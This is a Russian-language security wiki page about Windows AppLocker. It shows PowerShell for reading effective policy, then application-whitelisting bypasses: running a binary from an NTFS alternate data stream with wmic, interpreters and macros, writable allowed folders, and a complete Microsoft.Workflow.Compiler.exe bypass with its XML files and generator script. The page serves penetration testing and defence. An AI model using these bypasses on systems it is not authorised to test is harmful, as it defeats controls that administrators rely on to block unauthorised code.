Applocker

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Applocker - функция управления приложениями и политиками по запуску программного обеспечения в Windows.

Позволяет управлять:

  • Исполняемые файлы
    • EXE
    • COM
  • Скрипты
    • JS
    • PS1
    • VBS
    • CMD
    • BAT
  • Установочные файлы
    • MST
    • MSI
    • MSP
  • Библиотеки
    • DLL
    • OCX
  • Упакованные приложения
    • APPX

Общее

Получение политики (все юзеры)

Get-ApplockerPolicy -effective

Получение политики (все группы текущего пользователя)

$a = Get-ApplockerPolicy -effective

$u = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value
$g = @([Security.Principal.WindowsIdentity]::GetCurrent().Groups)

Foreach ($x in @($a.rulecollections)){Foreach($y in @($x)){
$f = 0;
$v = $y.UserOrGroupSid.value; 
Foreach ($z in $g){
if (($z.Value -eq $u) -or ($z.Value -eq $v)){
$f= 1;
};
};
  if ($f -eq 1){
Write-Output $y.PathConditions;
Write-Output $y.Action;
}
}}

Однострочник 

$a = Get-ApplockerPolicy -effective;$u = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value; $g = @([Security.Principal.WindowsIdentity]::GetCurrent().Groups);Foreach ($x in @($a.rulecollections)){Foreach($y in @($x)){$f = 0;$v = $y.UserOrGroupSid.value; Foreach ($z in $g){if (($z.Value -eq $u) -or ($z.Value -eq $v)){$f= 1;};};if ($f -eq 1){Write-Output $y.PathConditions;Write-Output $y.Action;};};};

Обход AppLocker

Альтернативный канал

Например, если политика разрешат запуск из C:\logs то следующей командой мы можем сохранить файл в альтернативный канал и запустить его: 

type test.exe > C:\logs:test.exe
wmic process call create '"C:\logs:test.exe"'

Интерпретаторы

  • python
  • perl
  • java

И так далее

Макросы ворда

Макросы ворда VBS позволяют тоже обойти AppLocker и запустить произвольный код.

Небезопасные политики

Требуется посмотреть список директорий, откуда можно запускать файлы, и проверить какие из директорий/файлов доступны для записи.


InstallUtil

См. [amsi]

Microsoft.Workflow.Compiler.exe

test.xml: 

<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>test.xoml</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>


text.xoml: 

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="MyWorkflow" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
    <CodeActivity x:Name="codeActivity1" />
    <x:Code><![CDATA[
    public class Foo : SequentialWorkflowActivity {
     public Foo() {
            Console.WriteLine("FOOO!!!!");
        }
    }
    ]]></x:Code>
</SequentialWorkflowActivity>


Microsoft.Workflow.Compiler.exe соберет XML-проет и запустит его: 

C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml results.xml

Полный фрагмент кода для автоматизации запуска: 

function New-CompilerInputXml {
<#
.SYNOPSIS
Creates a an XML file consisting of a serialized CompilerInput object.
.DESCRIPTION
New-CompilerInputXml creates an XML file consisting of compiler options. This file is required as the first argument for Microsoft.Workflow.Compiler.exe.
.PARAMETER XOMLPath
Specifies the path to the target XOML file. This can be a relative or absolute path. This path will be included in the resulting XML file that New-CompilerInputXml outputs.
.PARAMETER OutputPath
Specifies the path to which New-CompilerInputXml will save the serialized CompilerInput object.
.EXAMPLE
New-CompilerInputXml -XOMLPath C:\Test\foo.xoml -OutputPath test.xml
Outputs a serialized CompilerInput object to test.xml and specifies a full path to a XOML assembly reference.
.EXAMPLE
New-CompilerInputXml -XOMLPath foo.xoml -OutputPath test.txt
Outputs a serialized CompilerInput object to test.txt and specifies a XOML assembly reference using a relative path. Note that Microsoft.Workflow.Compiler.exe doesn't care about the extension supplied in the first argument.
.OUTPUTS
System.IO.FileInfo
Outputs a FileInfo object to serve as confirmation that the resulting serialized XML wil was created.
#>

    [OutputType([System.IO.FileInfo])]
    param (
        [String]
        [ValidateNotNullOrEmpty()]
        $XOMLPath = 'test.xoml',

        [Parameter(Mandatory = $True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $OutputPath
    )

    # This assembly won't be loaded by default. We need to load
    # it in order to get access to the WorkflowCompilerParameters class.
    Add-Type -AssemblyName 'System.Workflow.ComponentModel'

    # This class contains the properties we need to specify for Microsoft.Workflow.Compiler.exe
    $WFCompilerParams = New-Object -TypeName Workflow.ComponentModel.Compiler.WorkflowCompilerParameters

    # Necessary to get Microsoft.Workflow.Compiler.exe to call Assembly.Load(byte[])
    $WFCompilerParams.GenerateInMemory = $True

    # Full path to Microsoft.Workflow.Compiler.exe that we will load and access a non-public method from
    $WorkflowCompilerPath = [Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory() + 'Microsoft.Workflow.Compiler.exe'

    # Load the assembly
    $WFCAssembly = [Reflection.Assembly]::LoadFrom($WorkflowCompilerPath)

    # This is the helper method that will serialize the CompilerInput object to disk
    $SerializeInputToWrapper = [Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper', [Reflection.BindingFlags] 'NonPublic, Static')

    $TempFile = $SerializeInputToWrapper.Invoke($null, @([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters] $WFCompilerParams, [String[]] @(,$OutputPath)))

    Move-Item $TempFile $OutputPath -PassThru
}

Подробнее тут: https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb


Ссылки

Источник — «http://itsecwiki.org/index.php?title=Applocker&oldid=1038»